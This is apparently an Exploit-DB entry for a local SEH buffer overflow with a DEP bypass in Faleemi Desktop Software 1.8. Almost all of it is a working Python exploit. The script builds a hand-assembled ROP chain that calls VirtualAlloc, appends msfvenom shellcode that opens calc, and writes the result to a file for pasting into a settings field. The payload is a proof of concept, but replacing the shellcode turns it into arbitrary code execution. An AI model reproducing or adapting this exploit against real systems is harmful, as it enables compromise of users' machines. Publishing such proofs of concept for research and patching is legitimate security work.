Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH) (DEP Bypass)

EDB-ID:
46269

CVE:
N/A

EDB Verified: ×

Author:
BZYO

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2019-01-28

Vulnerable App:

```
#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)
(DEP Bypass)
# Date: 01-26-19
# Vulnerable Software: Faleemi Desktop Software 1.8
# Vendor Homepage: https://www.faleemi.com/
# Version: 1.8.0
# Software Link 1: http://support.faleemi.com/fsc776/Faleemi_v1.8.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open/copy contents of faleemidep.txt
# 3. open app, click on System Setup
# 4. paste contents of faleemidep.txt in "Save Path for Snapshot and Record
file" field
# 5. click on save
# 6. pop calc

# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt'
finds
# practicing dep bypass by not using auto generated mona.py ropchains

# original seh poc from Gionathan "John" Reale, EDB: 45402

# badchars; \x00\x0a\x0d\x2f

import struct
filename = "faleemidep.txt"

junk = "A" * 264

#0x6001ea7e # ADD ESP,0B34 # POP EBX # POP EBP # POP ESI # POP EDI # RETN
seh = "\x7e\xea\x01\x60"
fill = "C"*524

#VirtualAlloc()
#EDI = ROP NOP (RETN)
rop = struct.pack('<L',0x60018221)  # POP EDI # RETN
rop += struct.pack('<L',0x60018222) # ROP-NOP

#ECX = flProtect (0x40)
rop += struct.pack('<L',0x60047e71)  # POP ECX # RETN
rop += struct.pack('<L',0xffffffff)
for i in range(0,65): rop += struct.pack('<L',0x6004bcc7)  # INC ECX # RETN

#ESI = ptr to VirtualAlloc()
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN
rop += struct.pack('<L',0x6004f0bc)  # ptr to &VirtualAlloc()
rop += struct.pack('<L',0x68b88b96)  # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x73d63c82)  # XCHG EAX,ESI # RETN

#EDX = flAllocationType (0x1000)
# Math 1)FFFFFFFF - 0cc48368 = 0F33B7C97 Math 2)0F33B7C97 + 1001 =
F33B8C98)
rop += struct.pack('<L',0x68b832d3) # MOV EDX,0CC48368 # RETN
rop += struct.pack('<L',0x60036b1c) # POP EBX # RETN

rop += struct.pack('<L',0xF33B8C98)
rop += struct.pack('<L',0x6004e5ce)  # ADD EDX,EBX # POP EBX # RETN 0x10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
```

```
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10

#EBP = ReturnTo (ptr to jmp esp)
#!mona jmp -r esp -cpb '\x00\x0a\x0d\x2f'
rop += struct.pack('<L',0x68b901e9) # POP EBP # RETN
rop += struct.pack('<L',0x73dd4206) # jmp esp

#EBX = dwSize (0x1)
rop += struct.pack('<L',0x73dbfebc) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff)
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN

#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN
rop += struct.pack('<L',0x90909090)  # NOPs

#PUSHAD
rop += struct.pack('<L',0x6004bd85) # PUSHAD # RETN

nops = "\x90"*10

#msfvenom -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d\x2f" -f python
calc =  ""
calc += "\xd9\xf7\xb8\x0c\xa1\xba\x34\xd9\x74\x24\xf4\x5b\x29"
calc += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\x18\x43"
calc += "\x4f\xc8\xc8\x01\xb0\x31\x08\x66\x38\xd4\x39\xa6\x5e"
calc += "\x9c\x69\x16\x14\xf0\x85\xdd\x78\xe1\x1e\x93\x54\x06"
calc += "\x97\x1e\x83\x29\x28\x32\xf7\x28\xaa\x49\x24\x8b\x93"
calc += "\x81\x39\xca\xd4\xfc\xb0\x9e\x8d\x8b\x67\x0f\xba\xc6"
calc += "\xbb\xa4\xf0\xc7\xbb\x59\x40\xe9\xea\xcf\xdb\xb0\x2c"
calc += "\xf1\x08\xc9\x64\xe9\x4d\xf4\x3f\x82\xa5\x82\xc1\x42"
calc += "\xf4\x6b\x6d\xab\x39\x9e\x6f\xeb\xfd\x41\x1a\x05\xfe"
calc += "\xfc\x1d\xd2\x7d\xdb\xa8\xc1\x25\xa8\x0b\x2e\xd4\x7d"
calc += "\xcd\xa5\xda\xca\x99\xe2\xfe\xcd\x4e\x99\xfa\x46\x71"
calc += "\x4e\x8b\x1d\x56\x4a\xd0\xc6\xf7\xcb\xbc\xa9\x08\x0b"
calc += "\x1f\x15\xad\x47\x8d\x42\xdc\x05\xdb\x95\x52\x30\xa9"
calc += "\x96\x6c\x3b\x9d\xfe\x5d\xb0\x72\x78\x62\x13\x37\x76"
calc += "\x28\x3e\x11\x1f\xf5\xaa\x20\x42\x06\x01\x66\x7b\x85"
calc += "\xa0\x16\x78\x95\xc0\x13\xc4\x11\x38\x69\x55\xf4\x3e"
calc += "\xde\x56\xdd\x5c\x81\xc4\xbd\x8c\x24\x6d\x27\xd1"

pad = "D" * (7000-len(fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
```

Tags: Local Buffer Overflow

Advisory/Source: Link